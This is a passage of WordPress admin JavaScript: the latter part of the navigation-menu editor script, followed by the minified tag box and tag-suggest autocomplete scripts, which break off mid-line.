					ui.item.after( ui.placeholder ); // Reattach the placeholder.
					tempHolder.css('margin-top', 0); // Reset the margin.

					// Now that the element is complete, we can update...
					updateSharedVars(ui);
				},
				stop: function(e, ui) {
					var children, subMenuTitle,
						depthChange = currentDepth - originalDepth;

					// Return child elements to the list.
					children = transport.children().insertAfter(ui.item);

					// Add "sub menu" description.
					subMenuTitle = ui.item.find( '.item-title .is-submenu' );
					if ( 0 < currentDepth )
						subMenuTitle.show();
					else
						subMenuTitle.hide();

					// Update depth classes.
					if ( 0 !== depthChange ) {
						ui.item.updateDepthClass( currentDepth );
						children.shiftDepthClass( depthChange );
						updateMenuMaxDepth( depthChange );
					}
					// Register a change.
					api.registerChange();
					// Update the item data.
					ui.item.updateParentMenuItemDBId();

					// Address sortable's incorrectly-calculated top in Opera.
					ui.item[0].style.top = 0;

					// Handle drop placement for rtl orientation.
					if ( api.isRTL ) {
						ui.item[0].style.left = 'auto';
						ui.item[0].style.right = 0;
					}

					api.refreshKeyboardAccessibility();
					api.refreshAdvancedAccessibility();
				},
				change: function(e, ui) {
					// Make sure the placeholder is inside the menu.
					// Otherwise fix it, or we're in trouble.
					if( ! ui.placeholder.parent().hasClass('menu') )
						(prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder );

					updateSharedVars(ui);
				},
				sort: function(e, ui) {
					var offset = ui.helper.offset(),
						edge = api.isRTL ? offset.left + ui.helper.width() : offset.left,
						depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge );

					/*
					 * Check and correct if depth is not within range.
					 * Also, if the dragged element is dragged upwards over an item,
					 * shift the placeholder to a child position.
					 */
					if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) {
						depth = maxDepth;
					} else if ( depth < minDepth ) {
						depth = minDepth;
					}

					if( depth != currentDepth )
						updateCurrentDepth(ui, depth);

					// If we overlap the next element, manually shift downwards.
					if( nextThreshold && offset.top + helperHeight > nextThreshold ) {
						next.after( ui.placeholder );
						updateSharedVars( ui );
						$( this ).sortable( 'refreshPositions' );
					}
				}
			});

			function updateSharedVars(ui) {
				var depth;

				prev = ui.placeholder.prev( '.menu-item' );
				next = ui.placeholder.next( '.menu-item' );

				// Make sure we don't select the moving item.
				if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' );
				if( next[0] == ui.item[0] ) next = next.next( '.menu-item' );

				prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0;
				nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0;
				minDepth = (next.length) ? next.menuItemDepth() : 0;

				if( prev.length )
					maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth;
				else
					maxDepth = 0;
			}

			function updateCurrentDepth(ui, depth) {
				ui.placeholder.updateDepthClass( depth, currentDepth );
				currentDepth = depth;
			}

			function initialMenuMaxDepth() {
				if( ! body[0].className ) return 0;
				var match = body[0].className.match(/menu-max-depth-(\d+)/);
				return match && match[1] ? parseInt( match[1], 10 ) : 0;
			}

			function updateMenuMaxDepth( depthChange ) {
				var depth, newDepth = menuMaxDepth;
				if ( depthChange === 0 ) {
					return;
				} else if ( depthChange > 0 ) {
					depth = maxChildDepth + depthChange;
					if( depth > menuMaxDepth )
						newDepth = depth;
				} else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) {
					while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 )
						newDepth--;
				}
				// Update the depth class.
				body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth );
				menuMaxDepth = newDepth;
			}
		},

		initManageLocations : function () {
			$('#menu-locations-wrap form').on( 'submit', function(){
				window.onbeforeunload = null;
			});
			$('.menu-location-menus select').on('change', function () {
				var editLink = $(this).closest('tr').find('.locations-edit-menu-link');
				if ($(this).find('option:selected').data('orig'))
					editLink.show();
				else
					editLink.hide();
			});
		},

		attachMenuEditListeners : function() {
			var that = this;
			$('#update-nav-menu').on('click', function(e) {
				if ( e.target && e.target.className ) {
					if ( -1 != e.target.className.indexOf('item-edit') ) {
						return that.eventOnClickEditLink(e.target);
					} else if ( -1 != e.target.className.indexOf('menu-save') ) {
						return that.eventOnClickMenuSave(e.target);
					} else if ( -1 != e.target.className.indexOf('menu-delete') ) {
						return that.eventOnClickMenuDelete(e.target);
					} else if ( -1 != e.target.className.indexOf('item-delete') ) {
						return that.eventOnClickMenuItemDelete(e.target);
					} else if ( -1 != e.target.className.indexOf('item-cancel') ) {
						return that.eventOnClickCancelLink(e.target);
					}
				}
			});

			$( '#menu-name' ).on( 'input', _.debounce( function () {
				var menuName = $( document.getElementById( 'menu-name' ) ),
					menuNameVal = menuName.val();

				if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
					// Add warning for invalid menu name.
					menuName.parent().addClass( 'form-invalid' );
				} else {
					// Remove warning for valid menu name.
					menuName.parent().removeClass( 'form-invalid' );
				}
			}, 500 ) );

			$('#add-custom-links input[type="text"]').on( 'keypress', function(e){
				$('#customlinkdiv').removeClass('form-invalid');

				if ( e.keyCode === 13 ) {
					e.preventDefault();
					$( '#submit-customlinkdiv' ).trigger( 'click' );
				}
			});
		},

		/**
		 * Handle toggling bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		attachBulkSelectButtonListeners : function() {
			var that = this;

			$( '.bulk-select-switcher' ).on( 'change', function() {
				if ( this.checked ) {
					$( '.bulk-select-switcher' ).prop( 'checked', true );
					that.enableBulkSelection();
				} else {
					$( '.bulk-select-switcher' ).prop( 'checked', false );
					that.disableBulkSelection();
				}
			});
		},

		/**
		 * Enable bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		enableBulkSelection : function() {
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$( '#menu-to-edit' ).addClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' );

			$.each( checkbox, function() {
				$(this).prop( 'disabled', false );
			});
		},

		/**
		 * Disable bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		disableBulkSelection : function() {
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$( '#menu-to-edit' ).removeClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' );

			if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
				$( '.menu-items-delete' ).removeAttr( 'aria-describedby' );
			}

			$.each( checkbox, function() {
				$(this).prop( 'disabled', true ).prop( 'checked', false );
			});

			$( '.menu-items-delete' ).addClass( 'disabled' );
			$( '#pending-menu-items-to-delete ul' ).empty();
		},

		/**
		 * Listen for state changes on bulk action checkboxes.
		 *
		 * @since 5.8.0
		 */ 
		attachMenuCheckBoxListeners : function() {
			var that = this;

			$( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() {
				that.setRemoveSelectedButtonStatus();
			});
		},

		/**
		 * Create delete button to remove menu items from collection.
		 *
		 * @since 5.8.0
		 */ 
		attachMenuItemDeleteButton : function() {
			var that = this;

			$( document ).on( 'click', '.menu-items-delete', function( e ) {
				var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech;

				e.preventDefault();

				if ( ! $(this).hasClass( 'disabled' ) ) {
					$.each( $( '.menu-item-checkbox:checked' ), function( index, element ) {
						$( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' );
					});

					$( '.menu-items-delete' ).addClass( 'disabled' );
					$( '.bulk-select-switcher' ).prop( 'checked', false );

					itemsPendingDeletion     = '';
					itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' );

					$.each( itemsPendingDeletionList, function( index, element ) {
						var itemName = $( element ).find( '.pending-menu-item-name' ).text();
						var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName );

						itemsPendingDeletion += itemSpeech;
						if ( ( index + 1 ) < itemsPendingDeletionList.length ) {
							itemsPendingDeletion += ', ';
						}
					});

					deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion );
					wp.a11y.speak( deletionSpeech, 'polite' );
					that.disableBulkSelection();
				}
			});
		},

		/**
		 * List menu items awaiting deletion.
		 *
		 * @since 5.8.0
		 */ 
		attachPendingMenuItemsListForDeletion : function() {
			$( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() {
				var menuItemName, menuItemType, menuItemID, listedMenuItem;

				if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
					$( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' );
				}

				menuItemName = $(this).next().text();
				menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text();
				menuItemID   = $(this).attr( 'data-menu-item-id' );

				listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' );
				if ( listedMenuItem.length > 0 ) {
					listedMenuItem.remove();
				}

				if ( this.checked === true ) {
					$( '#pending-menu-items-to-delete ul' ).append(
						'<li data-menu-item-id="' + menuItemID + '">' +
							'<span class="pending-menu-item-name">' + menuItemName + '</span> ' +
							'<span class="pending-menu-item-type">(' + menuItemType + ')</span>' +
							'<span class="separator"></span>' +
						'</li>'
					);
				}

				$( '#pending-menu-items-to-delete li .separator' ).html( ', ' );
				$( '#pending-menu-items-to-delete li .separator' ).last().html( '.' );
			});
		},

		/**
		 * Set status of bulk delete checkbox.
		 *
		 * @since 5.8.0
		 */ 
		setBulkDeleteCheckboxStatus : function() {
			var that = this;
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$.each( checkbox, function() {
				if ( $(this).prop( 'disabled' ) ) {
					$(this).prop( 'disabled', false );
				} else {
					$(this).prop( 'disabled', true );
				}

				if ( $(this).is( ':checked' ) ) {
					$(this).prop( 'checked', false );
				}
			});

			that.setRemoveSelectedButtonStatus();
		},

		/**
		 * Set status of menu items removal button.
		 *
		 * @since 5.8.0
		 */ 
		setRemoveSelectedButtonStatus : function() {
			var button = $( '.menu-items-delete' );

			if ( $( '.menu-item-checkbox:checked' ).length > 0 ) {
				button.removeClass( 'disabled' );
			} else {
				button.addClass( 'disabled' );
			}
		},

		attachMenuSaveSubmitListeners : function() {
			/*
			 * When a navigation menu is saved, store a JSON representation of all form data
			 * in a single input to avoid PHP `max_input_vars` limitations. See #14134.
			 */
			$( '#update-nav-menu' ).on( 'submit', function() {
				var navMenuData = $( '#update-nav-menu' ).serializeArray();
				$( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) );
			});
		},

		attachThemeLocationsListeners : function() {
			var loc = $('#nav-menu-theme-locations'), params = {};
			params.action = 'menu-locations-save';
			params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val();
			loc.find('input[type="submit"]').on( 'click', function() {
				loc.find('select').each(function() {
					params[this.name] = $(this).val();
				});
				loc.find( '.spinner' ).addClass( 'is-active' );
				$.post( ajaxurl, params, function() {
					loc.find( '.spinner' ).removeClass( 'is-active' );
				});
				return false;
			});
		},

		attachQuickSearchListeners : function() {
			var searchTimer;

			// Prevent form submission.
			$( '#nav-menu-meta' ).on( 'submit', function( event ) {
				event.preventDefault();
			});

			$( '#nav-menu-meta' ).on( 'input', '.quick-search', function() {
				var $this = $( this );

				$this.attr( 'autocomplete', 'off' );

				if ( searchTimer ) {
					clearTimeout( searchTimer );
				}

				searchTimer = setTimeout( function() {
					api.updateQuickSearchResults( $this );
				}, 500 );
			}).on( 'blur', '.quick-search', function() {
				api.lastSearch = '';
			});
		},

		updateQuickSearchResults : function(input) {
			var panel, params,
				minSearchLength = 2,
				q = input.val();

			/*
			 * Minimum characters for a search. Also avoid a new Ajax search when
			 * the pressed key (e.g. arrows) doesn't change the searched term.
			 */
			if ( q.length < minSearchLength || api.lastSearch == q ) {
				return;
			}

			api.lastSearch = q;

			panel = input.parents('.tabs-panel');
			params = {
				'action': 'menu-quick-search',
				'response-format': 'markup',
				'menu': $('#menu').val(),
				'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(),
				'q': q,
				'type': input.attr('name')
			};

			$( '.spinner', panel ).addClass( 'is-active' );

			$.post( ajaxurl, params, function(menuMarkup) {
				api.processQuickSearchQueryResponse(menuMarkup, params, panel);
			});
		},

		addCustomLink : function( processMethod ) {
			var url = $('#custom-menu-item-url').val().toString(),
				label = $('#custom-menu-item-name').val();

			if ( '' !== url ) {
				url = url.trim();
			}

			processMethod = processMethod || api.addMenuItemToBottom;

			if ( '' === url || 'https://' == url || 'http://' == url ) {
				$('#customlinkdiv').addClass('form-invalid');
				return false;
			}

			// Show the Ajax spinner.
			$( '.customlinkdiv .spinner' ).addClass( 'is-active' );
			this.addLinkToMenu( url, label, processMethod, function() {
				// Remove the Ajax spinner.
				$( '.customlinkdiv .spinner' ).removeClass( 'is-active' );
				// Set custom link form back to defaults.
				$('#custom-menu-item-name').val('').trigger( 'blur' );
				$( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' );
			});
		},

		addLinkToMenu : function(url, label, processMethod, callback) {
			processMethod = processMethod || api.addMenuItemToBottom;
			callback = callback || function(){};

			api.addItemToMenu({
				'-1': {
					'menu-item-type': 'custom',
					'menu-item-url': url,
					'menu-item-title': label
				}
			}, processMethod, callback);
		},

		addItemToMenu : function(menuItem, processMethod, callback) {
			var menu = $('#menu').val(),
				nonce = $('#menu-settings-column-nonce').val(),
				params;

			processMethod = processMethod || function(){};
			callback = callback || function(){};

			params = {
				'action': 'add-menu-item',
				'menu': menu,
				'menu-settings-column-nonce': nonce,
				'menu-item': menuItem
			};

			$.post( ajaxurl, params, function(menuMarkup) {
				var ins = $('#menu-instructions');

				menuMarkup = menuMarkup || '';
				menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces.
				processMethod(menuMarkup, params);

				// Make it stand out a bit more visually, by adding a fadeIn.
				$( 'li.pending' ).hide().fadeIn('slow');
				$( '.drag-instructions' ).show();
				if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length )
					ins.addClass( 'menu-instructions-inactive' );

				callback();
			});
		},

		/**
		 * Process the add menu item request response into menu list item. Appends to menu.
		 *
		 * @param {string} menuMarkup The text server response of menu item markup.
		 *
		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
		 */
		addMenuItemToBottom : function( menuMarkup ) {
			var $menuMarkup = $( menuMarkup );
			$menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList );
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();
			wp.a11y.speak( menus.itemAdded );
			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
		},

		/**
		 * Process the add menu item request response into menu list item. Prepends to menu.
		 *
		 * @param {string} menuMarkup The text server response of menu item markup.
		 *
		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
		 */
		addMenuItemToTop : function( menuMarkup ) {
			var $menuMarkup = $( menuMarkup );
			$menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList );
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();
			wp.a11y.speak( menus.itemAdded );
			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
		},

		attachUnsavedChangesListener : function() {
			$('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){
				api.registerChange();
			});

			if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) {
				window.onbeforeunload = function(){
					if ( api.menusChanged )
						return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				};
			} else {
				// Make the post boxes read-only, as they can't be used yet.
				$( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' );
			}
		},

		registerChange : function() {
			api.menusChanged = true;
		},

		attachTabsPanelListeners : function() {
			$('#menu-settings-column').on('click', function(e) {
				var selectAreaMatch, selectAll, panelId, wrapper, items,
					target = $(e.target);

				if ( target.hasClass('nav-tab-link') ) {

					panelId = target.data( 'type' );

					wrapper = target.parents('.accordion-section-content').first();

					// Upon changing tabs, we want to uncheck all checkboxes.
					$( 'input', wrapper ).prop( 'checked', false );

					$('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive');
					$('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active');

					$('.tabs', wrapper).removeClass('tabs');
					target.parent().addClass('tabs');

					// Select the search bar.
					$('.quick-search', wrapper).trigger( 'focus' );

					// Hide controls in the search tab if no items found.
					if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) {
						wrapper.addClass( 'has-no-menu-item' );
					} else {
						wrapper.removeClass( 'has-no-menu-item' );
					}

					e.preventDefault();
				} else if ( target.hasClass( 'select-all' ) ) {
					selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' );
					if ( selectAreaMatch ) {
						items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );

						if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) {
							items.prop( 'checked', false );
						} else if ( target.is( ':checked' ) ) {
							items.prop( 'checked', true );
						}
					}
				} else if ( target.hasClass( 'menu-item-checkbox' ) ) {
					selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' );
					if ( selectAreaMatch ) {
						items     = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );
						selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' );

						if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) {
							selectAll.prop( 'checked', true );
						} else if ( selectAll.is( ':checked' ) ) {
							selectAll.prop( 'checked', false );
						}
					}
				} else if ( target.hasClass('submit-add-to-menu') ) {
					api.registerChange();

					if ( e.target.id && 'submit-customlinkdiv' == e.target.id )
						api.addCustomLink( api.addMenuItemToBottom );
					else if ( e.target.id && -1 != e.target.id.indexOf('submit-') )
						$('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom );
					return false;
				}
			});

			/*
			 * Delegate the `click` event and attach it just to the pagination
			 * links thus excluding the current page `<span>`. See ticket #35577.
			 */
			$( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() {
				var $container = $( this ).closest( '.inside' );

				$.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox',
					function( resp ) {
						var metaBoxData = JSON.parse( resp ),
							toReplace;

						if ( -1 === resp.indexOf( 'replace-id' ) ) {
							return;
						}

						// Get the post type menu meta box to update.
						toReplace = document.getElementById( metaBoxData['replace-id'] );

						if ( ! metaBoxData.markup || ! toReplace ) {
							return;
						}

						// Update the post type menu meta box with new content from the response.
						$container.html( metaBoxData.markup );
					}
				);

				return false;
			});
		},

		eventOnClickEditLink : function(clickedEl) {
			var settings, item,
			matchedSection = /#(.*)$/.exec(clickedEl.href);

			if ( matchedSection && matchedSection[1] ) {
				settings = $('#'+matchedSection[1]);
				item = settings.parent();
				if( 0 !== item.length ) {
					if( item.hasClass('menu-item-edit-inactive') ) {
						if( ! settings.data('menu-item-data') ) {
							settings.data( 'menu-item-data', settings.getItemData() );
						}
						settings.slideDown('fast');
						item.removeClass('menu-item-edit-inactive')
							.addClass('menu-item-edit-active');
					} else {
						settings.slideUp('fast');
						item.removeClass('menu-item-edit-active')
							.addClass('menu-item-edit-inactive');
					}
					return false;
				}
			}
		},

		eventOnClickCancelLink : function(clickedEl) {
			var settings = $( clickedEl ).closest( '.menu-item-settings' ),
				thisMenuItem = $( clickedEl ).closest( '.menu-item' );

			thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' );
			settings.setItemData( settings.data( 'menu-item-data' ) ).hide();
			// Restore the title of the currently active/expanded menu item.
			thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] );

			return false;
		},

		eventOnClickMenuSave : function() {
			var locs = '',
			menuName = $('#menu-name'),
			menuNameVal = menuName.val();

			// Cancel and warn if invalid menu name.
			if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
				menuName.parent().addClass( 'form-invalid' );
				return false;
			}
			// Copy menu theme locations.
			$('#nav-menu-theme-locations select').each(function() {
				locs += '<input type="hidden" name="' + this.name + '" value="' + $(this).val() + '" />';
			});
			$('#update-nav-menu').append( locs );
			// Update menu item position data.
			api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } );
			window.onbeforeunload = null;

			return true;
		},

		eventOnClickMenuDelete : function() {
			// Delete warning AYS.
			if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
				window.onbeforeunload = null;
				return true;
			}
			return false;
		},

		eventOnClickMenuItemDelete : function(clickedEl) {
			var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10);

			api.removeMenuItem( $('#menu-item-' + itemID) );
			api.registerChange();
			return false;
		},

		/**
		 * Process the quick search response into a search result
		 *
		 * @param string resp The server response to the query.
		 * @param object req The request arguments.
		 * @param jQuery panel The tabs panel we're searching in.
		 */
		processQuickSearchQueryResponse : function(resp, req, panel) {
			var matched, newID,
			takenIDs = {},
			form = document.getElementById('nav-menu-meta'),
			pattern = /menu-item[(\[^]\]*/,
			$items = $('<div>').html(resp).find('li'),
			wrapper = panel.closest( '.accordion-section-content' ),
			selectAll = wrapper.find( '.button-controls .select-all' ),
			$item;

			if( ! $items.length ) {
				$('.categorychecklist', panel).html( '<li><p>' + wp.i18n.__( 'No results found.' ) + '</p></li>' );
				$( '.spinner', panel ).removeClass( 'is-active' );
				wrapper.addClass( 'has-no-menu-item' );
				return;
			}

			$items.each(function(){
				$item = $(this);

				// Make a unique DB ID number.
				matched = pattern.exec($item.html());

				if ( matched && matched[1] ) {
					newID = matched[1];
					while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) {
						newID--;
					}

					takenIDs[newID] = true;
					if ( newID != matched[1] ) {
						$item.html( $item.html().replace(new RegExp(
							'menu-item\\[' + matched[1] + '\\]', 'g'),
							'menu-item[' + newID + ']'
						) );
					}
				}
			});

			$('.categorychecklist', panel).html( $items );
			$( '.spinner', panel ).removeClass( 'is-active' );
			wrapper.removeClass( 'has-no-menu-item' );

			if ( selectAll.is( ':checked' ) ) {
				selectAll.prop( 'checked', false );
			}
		},

		/**
		 * Remove a menu item.
		 *
		 * @param {Object} el The element to be removed as a jQuery object.
		 *
		 * @fires document#menu-removing-item Passes the element to be removed.
		 */
		removeMenuItem : function(el) {
			var children = el.childMenuItems();

			$( document ).trigger( 'menu-removing-item', [ el ] );
			el.addClass('deleting').animate({
					opacity : 0,
					height: 0
				}, 350, function() {
					var ins = $('#menu-instructions');
					el.remove();
					children.shiftDepthClass( -1 ).updateParentMenuItemDBId();
					if ( 0 === $( '#menu-to-edit li' ).length ) {
						$( '.drag-instructions' ).hide();
						ins.removeClass( 'menu-instructions-inactive' );
					}
					api.refreshAdvancedAccessibility();
					wp.a11y.speak( menus.itemRemoved );
				});
		},

		depthToPx : function(depth) {
			return depth * api.options.menuItemDepthPerLevel;
		},

		pxToDepth : function(px) {
			return Math.floor(px / api.options.menuItemDepthPerLevel);
		}

	};

	$( function() {

		wpNavMenu.init();

		// Prevent focused element from being hidden by the sticky footer.
		$( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() {
			if ( window.innerWidth >= 783 ) {
				var navMenuHeight = $( '#nav-menu-footer' ).height() + 20;
				var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() );

				if ( bottomOffset > 0 ) {
					bottomOffset = 0;
				}
				bottomOffset = bottomOffset * -1;

				if( bottomOffset < navMenuHeight ) {
					var scrollTop = $(document).scrollTop();
					$(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) );
				}
			}
		});
	});

	// Show bulk action.
	$( document ).on( 'menu-item-added', function() {
		if ( ! $( '.bulk-actions' ).is( ':visible' ) ) {
			$( '.bulk-actions' ).show();
		}
	} );

	// Hide bulk action.
	$( document ).on( 'menu-removing-item', function( e, el ) {
		var menuElement = $( el ).parents( '#menu-to-edit' );
		if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) {
			$( '.bulk-actions' ).hide();
		}
	} );

})(jQuery);
/*! This file is auto-generated */
!function(o){var r=wp.i18n._x(",","tag delimiter")||",";window.array_unique_noempty=function(t){var a=[];return o.each(t,function(t,e){(e=(e=e||"").trim())&&-1===o.inArray(e,a)&&a.push(e)}),a},window.tagBox={clean:function(t){return t=(t=","!==r?t.replace(new RegExp(r,"g"),","):t).replace(/\s*,\s*/g,",").replace(/,+/g,",").replace(/[,\s]+$/,"").replace(/^[,\s]+/,""),t=","!==r?t.replace(/,/g,r):t},parseTags:function(t){var e=t.id.split("-check-num-")[1],t=o(t).closest(".tagsdiv"),a=t.find(".the-tags"),i=a.val().split(r),n=[];return delete i[e],o.each(i,function(t,e){(e=(e=e||"").trim())&&n.push(e)}),a.val(this.clean(n.join(r))),this.quickClicks(t),!1},quickClicks:function(t){var a,e=o(".the-tags",t),i=o(".tagchecklist",t),n=o(t).attr("id");e.length&&(a=e.prop("disabled"),t=e.val().split(r),i.empty(),o.each(t,function(t,e){(e=(e=e||"").trim())&&(e=o("<li />").text(e),a||((t=o('<button type="button" id="'+n+"-check-num-"+t+'" class="ntdelbutton"><span class="remove-tag-icon" aria-hidden="true"></span><span class="screen-reader-text">'+wp.i18n.__("Remove term:")+" "+e.html()+"</span></button>")).on("click keypress",function(t){"click"!==t.type&&13!==t.keyCode&&32!==t.keyCode||(13!==t.keyCode&&32!==t.keyCode||o(this).closest(".tagsdiv").find("input.newtag").trigger("focus"),tagBox.userAction="remove",tagBox.parseTags(this))}),e.prepend("&nbsp;").prepend(t)),i.append(e))}),tagBox.screenReadersMessage())},flushTags:function(t,e,a){var i,n,s=o(".the-tags",t),c=o("input.newtag",t);return void 0!==(n=(e=e||!1)?o(e).text():c.val())&&""!==n&&(i=s.val(),i=this.clean(i=i?i+r+n:n),i=array_unique_noempty(i.split(r)).join(r),s.val(i),this.quickClicks(t),e||c.val(""),void 0===a)&&c.trigger("focus"),!1},get:function(a){var i=a.substr(a.indexOf("-")+1);o.post(ajaxurl,{action:"get-tagcloud",tax:i},function(t,e){0!==t&&"success"==e&&(t=o('<div id="tagcloud-'+i+'" class="the-tagcloud">'+t+"</div>"),o("a",t).on("click",function(){return tagBox.userAction="add",tagBox.flushTags(o("#"+i),this),!1}),o("#"+a).after(t))})},userAction:"",screenReadersMessage:function(){var t;switch(this.userAction){case"remove":t=wp.i18n.__("Term removed.");break;case"add":t=wp.i18n.__("Term added.");break;default:return}window.wp.a11y.speak(t,"assertive")},init:function(){var t=o("div.ajaxtag");o(".tagsdiv").each(function(){tagBox.quickClicks(this)}),o(".tagadd",t).on("click",function(){tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv"))}),o("input.newtag",t).on("keypress",function(t){13==t.which&&(tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv")),t.preventDefault(),t.stopPropagation())}).each(function(t,e){o(e).wpTagsSuggest()}),o("#post").on("submit",function(){o("div.tagsdiv").each(function(){tagBox.flushTags(this,!1,1)})}),o(".tagcloud-link").on("click",function(){tagBox.get(o(this).attr("id")),o(this).attr("aria-expanded","true").off().on("click",function(){o(this).attr("aria-expanded","false"===o(this).attr("aria-expanded")?"true":"false").siblings(".the-tagcloud").toggle()})})}}}(jQuery);/*! This file is auto-generated */
!function(s){var u=0,n=wp.i18n._x(",","tag delimiter")||",",t=wp.i18n.__,d=wp.i18n._n,l=wp.i18n.sprintf;function p(e){return e.split(new RegExp(n+"\\s*"))}s.fn.wpTagsSuggest=function(e){var i,o,a,r=s(this);return r.length&&(a=(e=e||{}).taxonomy||r.attr("data-wp-taxonomy")||"post_tag",delete e.taxonomy,e=s.extend({source:function(e,n){var t;o===e.term?n(i):(t=p(e.term).pop(),s.get(window.ajaxurl,{action:"ajax-tag-search",tax:a,q:t,number:20}).always(function(){r.removeClass("ui-autocomplete-loading")}).done(function(e){var t,o=[];if(e){for(t in e=e.split("\n")){var a=++u;o.push({id:a,name:e[t]})}n(i=o)}else n(o)}),o=e.term)},focus:function(e,t){r.attr("aria-activedescendant","wp-tags-autocomplete-"+t.item.id),e.preventDefault()},select:function(e,t){var o=p(r.val());return o.pop(),o.push(t.item.name,""),r.val(o.join(n+" ")),s.ui.keyCode.TAB===e.keyCode?(window.wp.a11y.speak(wp.i18n.__("Term selected."),"assertive"),e.preventDefault()):s.ui.keyCode.ENTER===e.keyCode&&(window.tagBox&&(window.tagBox.userAction="add",window.tagBox.flushTags(s(this).closest(".tagsdiv"))),e.preventDefault(),e.stopPropagation()),!1},open:function(){r.attr("aria-expanded","true")},close:function(){r.attr("aria-expanded","false")},minLength:2,position:{my:"left top+2",at:"left bottom",collision:"none"},messages:{noResults:t("No results found."),results:function(e){return l(d("%d result found. Use up and down arrow keys to navigate.","%d results found. Use up and down arrow keys to navigate.",e),e)}}},e),r.on("keydown",function(){r.removeAttr("aria-activedescendant")}),r.autocomplete(e),r.autocomplete("instance"))&&(r.autocomplete("instance")._renderItem=function(e,t){return s('<li role="option" 